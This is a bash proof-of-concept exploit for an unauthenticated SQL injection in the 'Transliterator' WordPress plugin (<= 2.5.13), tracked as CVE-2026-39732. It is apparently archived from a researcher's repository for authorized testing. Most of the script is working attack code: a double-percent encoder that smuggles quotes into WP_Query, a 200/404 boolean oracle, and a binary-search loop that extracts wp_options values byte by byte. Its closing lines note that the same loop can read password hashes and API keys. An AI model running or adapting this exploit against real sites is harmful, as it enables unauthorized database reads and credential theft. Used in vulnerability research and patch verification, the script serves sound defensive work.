#!/usr/bin/env bash
# Archived for authorized security research only.
# Source: https://github.com/Mor-Golan/CVE-2026-39732 (see README for attribution/license)
#
# CVE-2026-39732 -- Unauthenticated SQL injection in the "Transliterator" WordPress
#   plugin (slug: serbian-transliteration) <= 2.5.13, via WordPress core's public
#   `name` (post slug) query variable.
#
# Affected: Transliterator (serbian-transliteration) <= 2.5.13. Fixed in 2.5.14.
#
# Usage:
#   ./poc.sh [TARGET] [known-published-slug] [wp_options-name-to-read]
#     arg1  TARGET base URL        (or the TARGET env var; default http://localhost:8080)
#     arg2  a known PUBLISHED slug (default: hello-world, WordPress's default first post)
#     arg3  the wp_options row     (default: siteurl -- present on every install and
#                                   self-verifying: the value recovered should equal TARGET)
#
# For authorized security testing and education only. Run it only against systems you
# own or are permitted to test.
#
# CAUSE: the plugin hooks core's sanitize_title filter at PHP_INT_MAX-100
#        (classes/wordpress.php) with force_permalink_to_latin(), whose body calls
#        rawurldecode() on the value (classes/mode.php:390) AFTER core already sanitised
#        it. Core's sanitize_title_with_dashes() deliberately keeps percent-escaped octets
#        (%27, %20, ...) as inert literal text; the plugin's rawurldecode() turns them back
#        into raw bytes -- including a single quote -- which WP_Query then concatenates
#        straight into:
#              ... AND wp_posts.post_name = '<value>' ...
#        So a DOUBLE-percent-encoded payload in ?name= reaches the SQL unescaped. The path
#        is UNAUTHENTICATED: no nonce, capability, login or plugin setting is involved
#        (the filter is registered on a default install -- 'permalink-transliteration'
#        defaults to 'yes').
#
# This script performs ONLY remote-attacker actions: plain HTTP GETs with curl. No wp-cli,
# no docker, no database access, nothing server-side.
set -u

TARGET="${1:-${TARGET:-http://localhost:8080}}"
SLUG="${2:-hello-world}"
OPT="${3:-siteurl}"
TARGET="${TARGET%/}"   # strip a trailing slash

# ---- the double-percent encoder --------------------------------------------------------
# WordPress/PHP decodes the query string ONCE; core preserves the resulting %XX octets;
# the plugin's rawurldecode() decodes them a SECOND time. So every byte we want to arrive
# raw at the SQL must be sent double-encoded: e.g. a single quote ' = %2527 -> %27 -> '.
# Keep [a-z0-9] as-is (they survive both layers); encode everything else as %25XX.
enc() {
  local s="$1" out="" i c hx
  for (( i=0; i<${#s}; i++ )); do
    c="${s:$i:1}"
    case "$c" in
      [a-z0-9]) out+="$c" ;;
      *) printf -v hx '%02X' "'$c"; out+="%25$hx" ;;
    esac
  done
  printf '%s' "$out"
}

# Fire one request whose decoded WHERE clause is:  post_name = '<SLUG>' and (<PRED>)#
# The trailing # comments out the quote core appends, so the statement stays valid.
# Prints the HTTP status code.
oracle_status() {   # $1 = SQL predicate placed inside and ( ... )
  local raw="${SLUG}' and (${1})#"
  curl -g -s -o /dev/null -w '%{http_code}' "${TARGET}/?name=$(enc "$raw")"
}

echo "== target: ${TARGET}   slug: ${SLUG}   option to read: ${OPT} =="
echo

# ---- [1] the boolean oracle ------------------------------------------------------------
echo "[1] boolean oracle (identical request, predicate TRUE vs FALSE)"
T=$(oracle_status "1=1")
F=$(oracle_status "1=2")
printf '  (1=1) TRUE  -> HTTP %s   (expect 200: the post resolves)\n' "$T"
printf '  (1=2) FALSE -> HTTP %s   (expect 404: it does not)\n' "$F"
if [ "$T" != "200" ] || [ "$F" != "404" ]; then
  echo "  !! oracle did not separate 200/404 -- is '${SLUG}' a published slug on this site,"
  echo "     and is Transliterator / serbian-transliteration <= 2.5.13 active? Aborting the read." >&2
  exit 1
fi
echo "  -> the 200/404 differential on the SAME payload shape is a boolean oracle over any sub-query."
echo

# ---- [2] a short extraction loop: read wp_options['${OPT}'] one byte at a time ---------
echo "[2] reading wp_options.option_value WHERE option_name='${OPT}' via the oracle (no login)"
LEN=0
for L in $(seq 1 128); do
  if [ "$(oracle_status "length((select option_value from wp_options where option_name='${OPT}'))=${L}")" = "200" ]; then
    LEN=$L; break
  fi
done
if [ "$LEN" = "0" ]; then
  echo "  (no such option, or it is empty)"; exit 0
fi
printf '  length = %s bytes; recovering each byte by binary-searching its ASCII code...\n' "$LEN"
SECRET=""
for (( i=1; i<=LEN; i++ )); do
  lo=32; hi=126
  while [ "$lo" -lt "$hi" ]; do
    mid=$(( (lo + hi) / 2 ))
    if [ "$(oracle_status "ord(substring((select option_value from wp_options where option_name='${OPT}'),${i},1))>${mid}")" = "200" ]; then
      lo=$(( mid + 1 ))
    else
      hi=$mid
    fi
  done
  SECRET+=$(printf "\\$(printf '%03o' "$lo")")
  printf '\r  recovered[%02d/%02d]: %s' "$i" "$LEN" "$SECRET"
done
echo
echo
echo "  wp_options['${OPT}'] = \"${SECRET}\""
if [ "$OPT" = "siteurl" ]; then
  if [ "$SECRET" = "$TARGET" ]; then
    echo "  (self-check: recovered siteurl == target base URL -> the read is genuine)"
  else
    echo "  (recovered siteurl differs from the base URL you passed -- still a successful DB read)"
  fi
fi
echo
echo "An anonymous visitor just read a value out of the database with no account. The same"
echo "loop reads wp_users.user_pass hashes, API keys in wp_options, or any other secret."
